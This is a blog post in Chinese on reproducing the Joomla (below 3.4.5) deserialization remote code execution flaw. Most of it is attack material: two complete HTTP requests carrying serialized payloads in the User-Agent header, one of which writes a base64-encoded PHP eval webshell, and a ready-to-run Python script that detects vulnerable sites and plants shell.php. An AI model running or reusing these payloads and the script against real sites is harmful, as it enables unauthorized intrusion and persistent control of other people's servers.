Joomla反序列化通杀漏洞（版本低于3.4.5）复现的那些坑

      这是最近流出来的一个漏洞，利用Joomla反序列化可以造成远程代码执行。关于该漏洞的分析可以参考一下链接：

      wooyun drops上的：http://drops.wooyun.org/papers/11330

      Freebuf上的：http://www.freebuf.com/vuls/89754.html

      360播报上的：http://bobao.360.cn/learning/detail/2501.html

      自定义生成Exp序列化的程序：http://sandbox.onlinephpfunctions.com/code/d7a86325f725cbe9e7a60ef696d65593f6abdc1f

      在这里，记录一下我自己复现漏洞时候遇到的坑。细节很重要呐，最后复现成功才发现问题所在。

      首先是关于phpinfo的代码执行，这个复现起来比较简单。Exp如下：

GET /joomla/ HTTP/1.1
Host: 192.168.145.130
User-Agent: }__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"a";O:17:"JSimplepieFactory":0:{}s:21:"disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:31:"phpinfo();JFactory::get();exit;";}i:1;s:4:"init";}}s:13:"connection";i:1;}~Ù
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cache-Control: max-age=0

      首先是发送带Exp的包，获取cookie:

      然后用获取的cookies再次发包即可完成代码执行：

      这里要特别注意截断的那几个字符是不是正确，这个是关键。看一下那几个字符（只要是utf-8中4字节的都可以，范围U+010000至U+10FFFF，具体原因可以参照前面漏洞分析）：

      好了，关于代码执行的复现到此为止。

      我们接下来完成一句话的复现，在这里花了比较多的时间。我采用的是file_put_contents函数来写入一句话，这里特别强调一点，写入的地址是要使用路径绝对地址的，不然写入不成功。坑呀！

      关于Web服务器网站路径，可以在phpinfo执行的时候获取到，然后拼接出shell的地址即可。对要写入的内容可以用base64先编码，然后file_put_contents的时候解码即可。

      Exp的内容如下：

GET /joomla/ HTTP/1.1
Host: 192.168.145.130
User-Agent: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:143:"file_put_contents('E://xampp//htdocs//Joomla//shell.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7ID8+'));;JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"connection";b:1;}𝌆
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Forwarded-For: 8.8.8.8
DNT: 1
Connection: keep-alive
Cache-Control: max-age=0

      看下成功的Exp截图：

      获取shell的流程和之前是一样的，先发送带Exp的包，然后包含获取的cookie的包，即可写入一句话了。

      最后，修改了一个可以Getshell的利用脚本：

#!/usr/bin/env python
import requests
import sys
import time
import re
def rceJoomla(value):
    now = time.strftime('%H:%M:%S',time.localtime(time.time()))
    print "["+str(now)+"] [INFO] Checking Joomla 1.5 - 3.4.5 Remote Code Execution..."
    if 'http://' in value or 'https://' in value:
      url=value
      checkJoomlaRCE(url)
def checkJoomlaRCE(url):
    url = url.strip()
    reg = 'http[s]*://.*/$'
    m = re.match(reg,url)
    if not m:
        url = url + "/"
    poc = generate_payload("phpinfo();")
    try:
        result = get_url(url, poc)
        if 'phpinfo()' in result:
            system = getInfoByJoomlaRCE(result, 'System')
            document_root = getInfoByJoomlaRCE(result, 'DOCUMENT_ROOT')
            script_filename = getInfoByJoomlaRCE(result, 'SCRIPT_FILENAME')
            shell_file = getShellByJoomlaRCE(url, system, script_filename)
            vuls='[+]vuls found! url: '+url+'
[+]System: '+system+'
[+]document_root: '+document_root+'
[+]script_filename: '+script_filename+'
[+]shell_file: '+shell_file
            print vuls
        else:
            print '[!] no vuls! url: '+url
    except Exception,e:
        print '[!] connection failed! url: '+url
def get_url(url, user_agent):
    headers = {
    'User-Agent': user_agent
    }
    cookies = requests.get(url,headers=headers).cookies
    for _ in range(3):
        response = requests.get(url, timeout=10, headers=headers, cookies=cookies)
    return response.content
def generate_payload(php_payload):
    php_payload = php_payload
    terminate = 'xf0x9dx8cx86'
    exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
    injected_payload = "{};JFactory::getConfig();exit".format(php_payload)
    exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
    exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"connection";b:1;}''' + terminate
    # print exploit_template
    return exploit_template
def getInfoByJoomlaRCE(result, param):
    if "System" in param:
        reg = '.*<tr><td class="e">System </td><td class="v">([^<>]*?)</td></tr>.*'
    elif "DOCUMENT_ROOT" in param:
        reg = '.*<tr><td class="e">DOCUMENT_ROOT </td><td class="v">([^<>]*?)</td></tr>.*'
    elif "SCRIPT_FILENAME" in param:
        reg = '.*<tr><td class="e">SCRIPT_FILENAME </td><td class="v">([^<>]*?)</td></tr>.*'
    match_url = re.search(reg,result)
    if match_url:
       info=match_url.group(1)
    else:
        info = 'no info!'
    return info
def getShellByJoomlaRCE(url, system, script_filename):
    if 'no info' not in script_filename and 'no info' not in system:
        if 'Windows' in system:
            shell = script_filename.split('index.php')[0].replace('/','//').strip()+"shell.php"
        else:
            shell = script_filename.split('index.php')[0]+"shell.php"
        cmd ="file_put_contents('"+shell+"',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7ID8+'));"
        pl = generate_payload(cmd)
        try:
            get_url(url, pl)
            return url+"shell.php"
        except Exception, e:
            return "no info!"
    else:
        return "no info!"
def main():
    rceJoomla(sys.argv[1])
if __name__ == '__main__':
    main()

      来看下，在本地环境下的测试截图：（一句话名字：shell.php，密码：cmd）